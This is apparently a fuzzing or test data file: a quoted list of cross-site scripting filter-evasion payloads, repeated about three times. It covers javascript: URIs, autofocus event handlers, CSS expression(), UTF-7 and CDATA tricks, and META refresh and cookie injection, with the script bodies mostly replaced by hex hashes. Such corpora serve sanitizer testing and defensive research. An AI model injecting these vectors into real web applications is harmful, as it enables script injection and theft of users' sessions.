      "<DIV STYLE=\"background-image: url(&#1;javascript:ea234db2039c4cf55cdc7f756f66767d\">\n",
      "<LAYER SRC=\"javascript:64483c8c23275cddc8c7b8436e20144d></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"d1ec3d8a4f64835294592c299db0e222</STYLE><UL><LI>d1ec3d8a4f64835294592c299db0e222\n",
      "<a href=\"javascript#3c07fbf19a216062f9a5e5bcc41f6613\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-0b2ebf50b66352880ba80b953539a866+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"1ac745b436014870f1c873f592dc1f04\">\n",
      "&63da79ae4a28006c2f142bde6ea2a453\">\n",
      "&{8f4d1c55ff0a695936c9857c41c23a9e};\n",
      "<IMG SRC=&{309902694ab0ca8c895fe8f91998a86c};>\n",
      "<a href=\"about:9bd2681573ba12312a4764097f5fd886\">\n",
      "<DIV STYLE=\"binding: url(javascript:de147f3cac0863f11009800d91e38880);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:b8acb3ee2f51772970cbde6e7bc232fe\">\n",
      "<style><!--</style><SCRIPT>ce6260800b5be444a90f5fed9c25cefe//--></SCRIPT>\n",
      "<!-- -- -->f14c8fcf2de9fb845d58bf5a27f0ad39<!-- -- -->\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:e6f845b2b6c67c1a8a683d6fa8e97681\">X\n",
      "<xml id=\"X\"><a><b>3077ed7d70b53c67e226460c53c93001;<b></a></xml>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:6615407d0404d5f562246e9b3d6133b2\">]]</C><X></xml>\n",
      "![CDATA[<!--]]<SCRIPT>c58fe359f72de22c563761a43f54536e//--></SCRIPT>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#1a30101b6fdf7da4155ae9ddb7d6a1f1\"></div>\n",
      "<input onfocus=javascript:60c8b46c51822f4a52a8b3ca641f76fb autofocus>\n",
      "<input onblur=javascript:bf49c4ef63b3607f40743abd45ba07c3 autofocus><input autofocus>\n",
      "<textarea onfocus=javascript:efd87327768352dfaaecce9d196d1786 autofocus>\n",
      "<select onfocus=javascript:8621c26cf38a16bcf619fd3bdef0d80c autofocus>\n",
      "X<form id=test onforminput=javascript:03721786f9da7921c146dc414e6569ae><input></form>\n",
      "<keygen onfocus=javascript:b44b4b5a84098f23149c0da8b430f400 autofocus>\n",
      "<video poster=javascript:f486dd02622700b2eb84d07348b29b86//\n",
      "<body onscroll=d152b922664b7ec0fdeecb62b604392f><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:2d6b6a191dcf8d77d21eae953610a90f>X\n",
      "<video><source onerror=\"javascript:7281121371a99129b82ba030756b12b1\">\n",
      "<video onerror=\"javascript:59cef6f71e27606b5bd13234cd1a6360\"><source>\n",
      "</TITLE>0f3e85ffbb60225d6290973e73a82631\n",
      "\"><img src=\"x:x\" onerror=\"0b44b0e0d9740e37300664c4696ea6a8\">\n",
      "'';!--\"<74ec50c07a7c30f34e7f4462f4b40e8c>=&{()}\"\n",
      "\"><SCRIPT>alert('69539b60cdcab459f102ee9bf7c1d5de')</SCRIPT>\n",
      "\">4cd053ccfc410738e7187c7e6b26448f\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=0bdbcbeea646703e5adac5d383d6dbbd>\n",
      "<IMG SRC=\"24982817753ed80f2c038bdac6bb8d85\">\n",
      "'';!--\"<3fca7260e9376b2533c0c01707c2ba53>=&{()}\"\n",
      "<IMG SRC=4b8108844522eb328f97a9fc129f9842>\n",
      "<IMG SRC=`a966ba789e17eaae7ecf289ee8492f30`>\n",
      "<IMG \"\"\">6a9a33ca929ffc65e80f883c2efa969c\">\n",
      "<IMG SRC=\" &#14;  086081b05a7fcf996aa31874bb498706\">\n",
      "<<SCRIPT>d27c8691764bebf44f3f3c0c9ac10126//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(e272057758a33abac113505c1199e3ec);\">\n",
      "\";6707858ce8511692d75c49eb10c07d6e//\n",
      "<IMG SRC='4eab5c264fdbe536f380442cfd9e408f'\n",
      "<BODY BACKGROUND=\"cf6255bb68f118439d48185045a4d797\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"8e767bae62e00f88cbde13b56cbd6028\">\n",
      "<BODY ONLOAD=80dc4b0e9a8773ef2fe595b6266b61b8>\n",
      "<IMG DYNSRC=\"1b93c00353853cb51483286459c64d85\">\n",
      "<IMG LOWSRC=\"91719e764b34d4c806658c8f4ebd7c31\">\n",
      "<BGSOUND SRC=\"13e5a7439ef79d676bdf59a254f711f3\">\n",
      "<BR SIZE=\"&{34111f038a759f1c00a0d375fa054cc9}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"66f6546ef457fe6555e98872199cf190\">\n",
      "<IMG SRC='vbscript:4a0eefc2b155e553b25442b83ece135f'>\n",
      "<IMG SRC=\"mocha:[4bc1ce0fdc5c8042fd1beadb115867d2]\">\n",
      "<IMG SRC=\"livescript:[c9f313aa8944f31be3dc9593409eb193]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=23b761491a72445b98f550bb7c308e2c\">\n",
      "<TABLE BACKGROUND=\"156ef6a01c0b55b44b1e0c7ff022e57b\">\n",
      "<TABLE BACKGROUND=javascript:eaf084fd05ee8e2b042329662a38ab20>\n",
      "<TABLE><TD BACKGROUND=\"7c1b9a006a40f7bbcc8248396e803040\">\n",
      "<DIV STYLE=\"width: expression(2157eb0de85b4b4901fb2174fffb0e56);\">\n",
      "<DIV STYLE=\"background-image: url(33705fb5aacda846483fa909fc4d41e2);\">\n",
      "<IFRAME SRC=\"f7eeab95ba8cac67f8df50d74416bb01\"></IFRAME>\n",
      "<iframe/ /onload=b424ec6515a370947e08f9443b4da7ad></iframe>\n",
      "<iframe/ \"onload=2a0ae1482e59584863e4a5ec4b3ff087></iframe>\n",
      "<iframe///////onload=9ca87725dff5fc056ac49a4d75b97187></iframe>\n",
      "<iframe \"onload=c751380291324ecc21fac2ab73940d04></iframe>\n",
      "<iframe/ \"onload=b899945a3d5a01be2a7733f98bad30ec></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=1d08c72bde41b23619be6f6fcbb428a1></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=806c839ec6c3aad21e1c9cae90c2b0a2></iframe>\n",
      "<FRAMESET><FRAME SRC=\"ae953702f9e8f68f39733f611ef027b3\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"5f124d21cd9cba0f363b5fee5fa81689\">\n",
      "<TABLE><TD BACKGROUND=\"0101272d9f11c40af669ad623b3e97d4\">\n",
      "<DIV STYLE=\"background-image: url(&#1;104029ea540c01a54364210cc57bd100)\">\n",
      "<DIV STYLE=\"width: expression(64b7b9631bb6066f1e27d9d983ec1b81);\">\n",
      "<5d70491a5ce52d82902ceb7ca36cbb6f STYLE=\"xss:expression(5d70491a5ce52d82902ceb7ca36cbb6f)\">\n",
      "<STYLE TYPE=\"text/javascript\">94581dcca29000f7f0085d3143e4bb3d</STYLE>\n",
      "<IMG STYLE=\"xss:expr/*3ee35231de369bddb5613586a79eea12*/ession(3ee35231de369bddb5613586a79eea12)\">\n",
      "<STYLE>.17cfd8e66ee92a844d41b80b7d9eda36{background-image:url(\"17cfd8e66ee92a844d41b80b7d9eda36\");}</STYLE><A CLASS=17cfd8e66ee92a844d41b80b7d9eda36></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"c12b6926c3b033dba11ae9a462ef7a5c\")}</STYLE>\n",
      "<!--[if gte IE 4]>6529a527905423fdbc760d050d242e61<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=a5bcf279f69a5ddf28b6a0fdf1cfec7d></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"02c57cf62e336ca86944807f9a6296eb\")\";eval(a+b+c+d);\n",
      "<BASE HREF=\"36d5f8acfd4d3c1875320418de2710a5//\">\n",
      "<? echo('<SCR)';echo('IPT>cbd12438a252c31c93b54d1dd083cd79</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;46329a504c0a8b4cf91558cf581a3c9a&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>218b45f14ac1f82b064921d6af07a974</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:2ce0422f307532d8f74d12017fa5b779\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:c9afda67af67e2b76be07d396121b1d2\">\n",
      "--- <IMG SRC=\" &#14;  acd658d0947ae69a0d94f449d3d09ad2\">\n",
      "--- <IMG SRC=\"f0e0b8f88165612b206c6936c9531ed6\"\n",
      "<SCRIPT>a=/2ccdb4427e136ff8bdfc97865018a8ae/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=b6a3a9a92f0ad5a24951574d809f1047\">\n",
      "--- \";19cb79ce3f9ea75f187720c38b6ab33d;//\n",
      "<LAYER SRC=\"javascript:e7c40c8f0eecb050b16f16e3583f7efe></LAYER>\n",
      "<SCRIPT>a=/0e2c9c649365bb225136c1a65c724bf3/n0e2c9c649365bb225136c1a65c724bf3</SCRIPT>\n",
      "<IFRAME SRC=\"javascript:a524212c23083591a15b4d2d039dea0a <\n",
      "<SCRIPT <B>=dbb9a59d907600e3b4028b2724bf4b45\"></SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"b7478c2d34fea46682add4c728a5c1d7</STYLE><UL><LI>b7478c2d34fea46682add4c728a5c1d7\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-03a31017c31a15645d5538c69e885154+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#ba5627954c57c5f5117b21cd37bc66c7\">\n",
      "&c99dbd4339097d8753e77972fcc612ba\">\n",
      "<input type=\"image\" dynsrc=\"c7a66ad5d40c298ab118256561c0e871\">\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:187945ddf0aef847e8113102c10626ad\">\n",
      "&{5795b42d4929a993d53d1c0bcc198b7c};\n",
      "<IMG SRC=&{0c57b99c6c2a5f597566c29ec6d02bf4};>\n",
      "<DIV STYLE=\"binding: url(javascript:33b5aa882fbd0b1fe143fd2147184fd1);\">\n",
      "<style><!--</style><SCRIPT>430dc5e99b652762fe06869c18458fea//--></SCRIPT>\n",
      "<a href=\"about:1c4e315a4f90f63289a19b35e3a4ed14\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:1918be6badc257b09328cb2141e87768\">\n",
      "![CDATA[<!--]]<SCRIPT>69d28c1cccd8839382a481a0be3d80bd//--></SCRIPT>\n",
      "<!-- -- -->e9195a9b71a6401fa9df6a989ddc7ed3<!-- -- -->\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:e843a5c7e4054910ecb36c2abb0508a7\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:b8bf04bd5613aaa15493db008466e62c\">X\n",
      "<xml id=\"X\"><a><b>edaabd4e13abf0c7e98dad565d48824c;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#d586e27c7bedb467b32322d59becf74d\"></div>\n",
      "<input onfocus=javascript:c0d1e6d81c92447fbf38e00888fc9f10 autofocus>\n",
      "<select onfocus=javascript:050f2fc55276ccbdf46b8415bef47e24 autofocus>\n",
      "<textarea onfocus=javascript:48f8f09c73a3a1167afec699e2d8a506 autofocus>\n",
      "<keygen onfocus=javascript:bb39244ab41beaa8664fe75fa25ea08e autofocus>\n",
      "<input onblur=javascript:f70d1fe1f84d525efc34836b08b7e602 autofocus><input autofocus>\n",
      "<video poster=javascript:e687f3f91783b5de4962d68fa90348e7//\n",
      "X<form id=test onforminput=javascript:a66de4cdbee862da5c556533f12c8a19><input></form>\n",
      "<body onscroll=d15e6e6bcefeb637bf24b3a6bcf98d34><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:9b76ae487cce6f3cb58ccdb0f8a9b20f>X\n",
      "<video><source onerror=\"javascript:9ff290a66678e732bd0a37a2b8ddd58c\">\n",
      "<video onerror=\"javascript:7250b184f4f5c76eff7c4b82f7da3641\"><source>\n",
      "\"><SCRIPT>alert('a3aec3206a4c20a6ecc86485fa1c214b')</SCRIPT>\n",
      "</TITLE>b41f0c03bd43fa7a94a6d8b16bb60ca1\n",
      "\">237ae8d28271be5aa9891348aeed4ce8\n",
      "'';!--\"<7ac8365aabb728279ab37a5baa916522>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"be5f18e68e1e5a91acdb1440c583a7f2\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=882ddc2ee1e1bb00fb3dfe9f9dcf7207>\n",
      "'';!--\"<cc724886758e0e4d12e6195731aef040>=&{()}\"\n",
      "<IMG SRC=\"58f4df6f6e9ef15a00d6283c230e2677\">\n",
      "<IMG SRC=9ad8c7e424b2debe9e0f927c5bc459d4>\n",
      "<IMG SRC=`3c75b8932fb016f1f8ab90e14f5ba044`>\n",
      "<IMG \"\"\">fbcb353349f902fb3fa3df5d65bf1507\">\n",
      "<IMG SRC=\" &#14;  55374c0e087e6e061a0e42e3cc45d1e8\">\n",
      "<DIV STYLE=\"behaviour: url(59842103621e0fbe2db21ac4a39d7e09);\">\n",
      "<BODY BACKGROUND=\"e36a56bc224f0377ed5d5e8b7270a305\">\n",
      "\";2667af56827b8c4e333c2b35aacc3cd9//\n",
      "<<SCRIPT>c75710440033f6dc5b53f375d2d79a6d//<</SCRIPT>\n",
      "<IMG SRC='4766554c43ea9ec8cdec91426c1ded92'\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"94abf9f1aedf9b156ba04a58076e557f\">\n",
      "<BODY ONLOAD=8cca470f7eecbf84881710c90d2d45d4>\n",
      "<IMG DYNSRC=\"407ea9a16985e6c0775dad93418a33f6\">\n",
      "<BR SIZE=\"&{5c46f54ab7ffcebb20f092e8dfed91ee}\">\n",
      "<IMG LOWSRC=\"e227f48729d30a4282db7900f28c80fc\">\n",
      "<BGSOUND SRC=\"f6a2f6ac84f8b5fee4acd29704cf6e49\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"9709518ba3e1ca1bc3f4416c2d05ecf4\">\n",
      "<IMG SRC='vbscript:753b65a92f8315a9f0e4d8a352ceede7'>\n",
      "<TABLE BACKGROUND=\"df208b0f62fd1fc797eb2c15eb4c62bb\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=066563d016c33bb272253acd05672c99\">\n",
      "<IMG SRC=\"livescript:[f1b0ae81be5d53548b5a0e69511799a7]\">\n",
      "<IMG SRC=\"mocha:[b1c9d75b963ae016265abcd2e2793ee2]\">\n",
      "<DIV STYLE=\"background-image: url(b0a46047493998bfd47bc657bf56710b);\">\n",
      "<TABLE><TD BACKGROUND=\"a8cfd0c53e170a9604025d08925a5cf1\">\n",
      "<TABLE BACKGROUND=javascript:7722dadc456c7220d286d4dcf68dc1d4>\n",
      "<DIV STYLE=\"width: expression(33024a2e859b5784c997e321865acfd8);\">\n",
      "<IFRAME SRC=\"db0d38a13a6efba01f291b23ecd1be58\"></IFRAME>\n",
      "<iframe/ /onload=bcad5d8744f4029ee78fb639abf25023></iframe>\n",
      "<iframe/ \"onload=1c9f77f0f571a85c98cea9a32d7acae6></iframe>\n",
      "<iframe///////onload=945931e2e36b9559fedf21e9a08be8dc></iframe>\n",
      "<iframe \"onload=893d870997b35ba0a859cda2481118d5></iframe>\n",
      "<iframe/ \"onload=ebf5e1c3fdd95c990bdc4c029f074110></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=cbaa5e538432fd8db2dd13eae3199a2a></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=f1221bc467402a532e3caafdb6c7d34b></iframe>\n",
      "<FRAMESET><FRAME SRC=\"201da9a6d14677ad2069a429b86d74f2\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"0c5ae59360d55ef36b9c3c5c61751698\">\n",
      "<TABLE><TD BACKGROUND=\"4715e4ea87346e2eb841dd74e9acf6e5\">\n",
      "<DIV STYLE=\"background-image: url(&#1;c8a235ac7b20d2e2b927f23c22075b72)\">\n",
      "<DIV STYLE=\"width: expression(84637458807ec75604d06a1e92bffff5);\">\n",
      "<IMG STYLE=\"xss:expr/*02cab15257cc2389575064a05b7e84c2*/ession(02cab15257cc2389575064a05b7e84c2)\">\n",
      "<8c2c5c6e2e10a8a124615423a93c826b STYLE=\"xss:expression(8c2c5c6e2e10a8a124615423a93c826b)\">\n",
      "<STYLE TYPE=\"text/javascript\">bc693c6b1f195715078d2e8ee38fd70a</STYLE>\n",
      "<STYLE>.38ff002b9d3d69a9d5a2104f6e0346df{background-image:url(\"38ff002b9d3d69a9d5a2104f6e0346df\");}</STYLE><A CLASS=38ff002b9d3d69a9d5a2104f6e0346df></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"c1395bfb221b8261ad956ed70b3ca914\")}</STYLE>\n",
      "<BASE HREF=\"8e52dad726f00ff005ec579575c1b4c4//\">\n",
      "<!--[if gte IE 4]>7e1d3cc8e2f279dae0a5e6b2aef555e2<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=ee13f53c64f2e59c1e820adb94ee8d19></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"acc5109972fa7ddd1d8c89bab9b0a5c5\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>9b42b91bf059d9daf921715812265786</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;db718174085ba7317dcdf46a9712de80&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>ce5c85dd2314dad4f6520a57f2dbbc8f</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:2815e261aaee1fc37ddde7bc02090627\">\n",
      "<IMG SRC=\"&14;javascript:136448e21f48855bfef61414d9e4f8a0\">\n",
      "--- <IMG SRC=\" &#14;  bc9446705197c0d8ada28c042cf16629\">\n",
      "--- <IMG SRC=\"f3b9ab320e5ad1f1cd93fb479c32d3a9\"\n",
      "<SCRIPT>a=/2835b6057ded595f70e9a9ccd92b6e0e/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=8d74df626ab85e2d258d3c0dbf081892\">\n",
      "--- \";ad9c6989f21e5357df64c4771352de13;//\n",
      "<SCRIPT <B>=54d0bac1f7a2e7b4be2d2ee19c0eef5a\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:50810fd5415e4ab87bccc3181344b190 <\n",
      "<SCRIPT>a=/5e9de4266581ddfd95163394e51a41b7/n5e9de4266581ddfd95163394e51a41b7</SCRIPT>\n",
      "<LAYER SRC=\"javascript:3dab29fa66ec8dda8d3c80703d3ff752></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"1cbe5a423f37d46e39dc7e12ba3ab6fa</STYLE><UL><LI>1cbe5a423f37d46e39dc7e12ba3ab6fa\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:d233ebfdef70a65a83164b5f951986eb\">\n",
      "<a href=\"javascript#0bc2ed64a174b1c7123a8f16191360ed\">\n",
      "<input type=\"image\" dynsrc=\"66f107348c5115bcc018adf6c93cbf64\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-f74bd25ad6638b0a7fe97853975c9cc7+ADw-/SCRIPT+AD4-\n",
      "&a3af2f1604258e89036f2eb6bac21c68\">\n",
      "&{779eda01272946845eb8f55ede83a149};\n",
      "<IMG SRC=&{5fdc234fb3771a37bfab7cf30ec11450};>\n",
      "<DIV STYLE=\"binding: url(javascript:19c5b9a2a59fb1d1e7a2cf1dbaef0bc2);\">\n",
      "<a href=\"about:a1eeb890d890c8f4d50d7d0abfe42c2c\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:9c7ff02681b17e206dfb5da6333b606a\">\n",
      "<style><!--</style><SCRIPT>c71cc9ce19a116d0dd23c0c288907be4//--></SCRIPT>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#0e8838643e7a7a778181a3e98d15335d\"></div>\n",
      "<xml id=\"X\"><a><b>53e1e1bb5a82e806b5a33e42caf879e9;<b></a></xml>\n",
      "![CDATA[<!--]]<SCRIPT>e836c6742c2d30f407a196d08b15525f//--></SCRIPT>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:60cd732e9261b0e0e16661fe5366203c\">]]</C><X></xml>\n",
      "<!-- -- -->f3ad09eccd7fd1054ffc3ca6dc064ba0<!-- -- -->\n",
      "<input onfocus=javascript:931d71b5f2a3cdf591b5f43059bc63aa autofocus>\n",
      "<select onfocus=javascript:46132922f6fd9118dec03c0543ba6705 autofocus>\n",
      "<keygen onfocus=javascript:ecf6a2508c493444732cf5e3152e8f81 autofocus>\n",
      "<textarea onfocus=javascript:22e9ea331c35a8fcd8d38de0479fdd60 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:9683ad153aab50569626f034b65ac01c\">X\n",
      "<input onblur=javascript:744a1aaa3fb2d0a24342f186f1a33538 autofocus><input autofocus>\n",
      "<body onscroll=031ae6e3f29aa59ea407b8318a788d23><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video poster=javascript:51da5734c7e56ee9b59d9aef322a673b//\n",
      "X<form id=test onforminput=javascript:bacb1b91ddc194d404ce4042a0aefa40><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:fbc8f252f93124fc4343edab6970738b>X\n",
      "<video><source onerror=\"javascript:a5d7389d1b6f7fbaecb0c31789b2c9bc\">\n",
      "<video onerror=\"javascript:879807e92a0d703a6215598d381ea445\"><source>\n",
      "\">11ae4d65f0317da7044fa884031d8a59\n",
      "\"><SCRIPT>alert('0f234bdc64448f6532a41e4d0d950c08')</SCRIPT>\n",
      "'';!--\"<7d22ec68b02e44589f496b4836ab2366>=&{()}\"\n",
      "</TITLE>fdd17d587f7477c0a73aa1d1acf8ec44\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=e1eacaec4377e092d4abc0827525b08b>\n",
      "\"><img src=\"x:x\" onerror=\"e44fedc943a0b4a31cedfaeef389ff27\">\n",
      "<IMG SRC=\"78d99193aafed824f8ea13ce44e2b6cf\">\n",
      "'';!--\"<f4fdc3f331d2dc02f14da1a795cc1f11>=&{()}\"\n",
      "<IMG SRC=`cc6241a3b6820bfa085e1c665d830b1a`>\n",
      "<IMG SRC=ae02ba680aae737c9b591e56012eba82>\n",
      "<IMG \"\"\">e41441ba9f39e76626165eb5230f4207\">\n",
      "<IMG SRC=\" &#14;  0dc60b236329630d9f396869846a35fc\">\n",
      "<DIV STYLE=\"behaviour: url(ca161141bea630f36fb5e8d80b8c9e29);\">\n",
      "\";84e848314f400794133bc811f2521a21//\n",
      "<<SCRIPT>9df14a0439ce9f0d4c15cf348698a69b//<</SCRIPT>\n",
      "<IMG SRC='3429e70a6ecdc42f7a1f984ae707cbd5'\n",
      "<BODY BACKGROUND=\"8b3e02f7ae7a649639c0c397b1665830\">\n",
      "<IMG DYNSRC=\"aa77c43a4400d8fc146821347704753f\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"4eb7aaef9bcab622ba3b19acc2f0f65b\">\n",
      "<BODY ONLOAD=373844fcd1cae6ab12678150bdbbf6b8>\n",
      "<IMG LOWSRC=\"4ac49693f350d7ecd5e5199ef098e09b\">\n",
      "<BGSOUND SRC=\"de018d9e07a732e49d45e0f025412649\">\n",
      "<BR SIZE=\"&{679b13aee3e519f7fd577d08ba67a799}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"fe13668ddb019570c873d7af0fcdce6b\">\n",
      "<IMG SRC='vbscript:630dd9e2df26835e38417a0e28e17536'>\n",
      "<IMG SRC=\"mocha:[d32319defc433d4d1991f3be753d2787]\">\n",
      "<IMG SRC=\"livescript:[c87ae938c9750a8b9e22054a7259b7ce]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=de31948580ee22e309f9b944c9327fff\">\n",
      "<TABLE BACKGROUND=\"131a91b6ea46fa16695a4aa519378ccc\">\n",
      "<TABLE BACKGROUND=javascript:4bd6c680fb6ad919601577e8284e428b>\n",
      "<TABLE><TD BACKGROUND=\"0204978b8583040c1e55a92fcdc5aab0\">\n",
      "<DIV STYLE=\"background-image: url(e4c08199695fd99c594dc9e06608c95f);\">\n",
      "<DIV STYLE=\"width: expression(5859494968ae3bdb3155ca74d73e6160);\">\n",
      "<IFRAME SRC=\"f43d7f5d20f65f725c2206891db31f8b\"></IFRAME>\n",
      "<iframe/ /onload=c3da6ce600081f0726cf738045956d8c></iframe>\n",
      "<iframe/ \"onload=1d522e903e19c6be64a7149c7960ba74></iframe>\n",
      "<iframe///////onload=f5a731bcc66d2f4818883c7ba9a24af6></iframe>\n",
      "<iframe \"onload=165108cfb2b4a19e60fae5df17ba698a></iframe>\n",
      "<iframe/ \"onload=0a24334509b09325b9112770493c270d></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=a8281f4f5a9382bee6930deb0172d4d6></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=4830bcf29ae08ab446ad11795589df6a></iframe>\n",
      "<FRAMESET><FRAME SRC=\"adf19b2d8903a8fc3a07395209a3fb20\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"4fc772f88a36f20f73ec4aa5629289b0\">\n",
      "<TABLE><TD BACKGROUND=\"941d3ff7e62976570f53965d3594228a\">\n",
      "<DIV STYLE=\"background-image: url(&#1;9eaca58a1b26ab06258792f84cb04232)\">\n",
      "<DIV STYLE=\"width: expression(40073093be1eb96f4edb26afcdc3f390);\">\n",
      "<IMG STYLE=\"xss:expr/*abd753bfe2e87f994d117fd3f0eaf0fc*/ession(abd753bfe2e87f994d117fd3f0eaf0fc)\">\n",
      "<STYLE TYPE=\"text/javascript\">cd22f759e29ec45115397e2898e9d682</STYLE>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"0c21a86eacfa7927e684e59f72d45b5f\")}</STYLE>\n",
      "<d4b92bd05321d0b1231f987d107f684f STYLE=\"xss:expression(d4b92bd05321d0b1231f987d107f684f)\">\n",
      "<STYLE>.b36342fa7ab1f9b4ce9725351e6297ec{background-image:url(\"b36342fa7ab1f9b4ce9725351e6297ec\");}</STYLE><A CLASS=b36342fa7ab1f9b4ce9725351e6297ec></A>\n",
      "<!--[if gte IE 4]>b989453a7ad5fa433220d3860632f3c2<![endif]-->\n",
      "<BASE HREF=\"5a68bf9d777367aa2b0eca4b7a1f33d7//\">\n",
      "<? echo('<SCR)';echo('IPT>7c24fd6e48166c9a5b3ef36941b22694</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"ec51e149cac9b5b61184079e9ee9c483\")\";eval(a+b+c+d);\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=e3ac2afdfe9c5f0191428eb2622bd799></OBJECT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;6721cb08041c06ce2f652d0e7b73bdab&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>a63eb5f0f8ac6d55e63403f62a44f9b9</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:54b1aee59a9e3e97e35088f613bf606f\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:6822acdaabd9002b38fc70694f244644\">\n",
      "--- <IMG SRC=\" &#14;  eb96a12c02c385c5b38571aba3d8bbbe\">\n",
      "--- <IMG SRC=\"f94d73934567a9a9722dc0a27926ee94\"\n",
      "<SCRIPT>a=/cd9624956fcd1a75dd6879dfb557e527/alert(a.source)</SCRIPT>\n",
      "<IFRAME SRC=\"javascript:a5f442906486d8b4772dc7108af7aa47 <\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=51c1c34c3c8406e298d7f5e60ce5c23d\">\n",
      "--- \";b990257574515234bea3d16190b7f3ae;//\n",
      "<SCRIPT <B>=31c6eb791a2e27d71ebece80a323c7d9\"></SCRIPT>\n",
      "<SCRIPT>a=/235ffe35a94b781d125cc6a235f20086/n235ffe35a94b781d125cc6a235f20086</SCRIPT>\n",
      "<LAYER SRC=\"javascript:143822bac1ff12e3691005bc18b4576c></LAYER>\n",
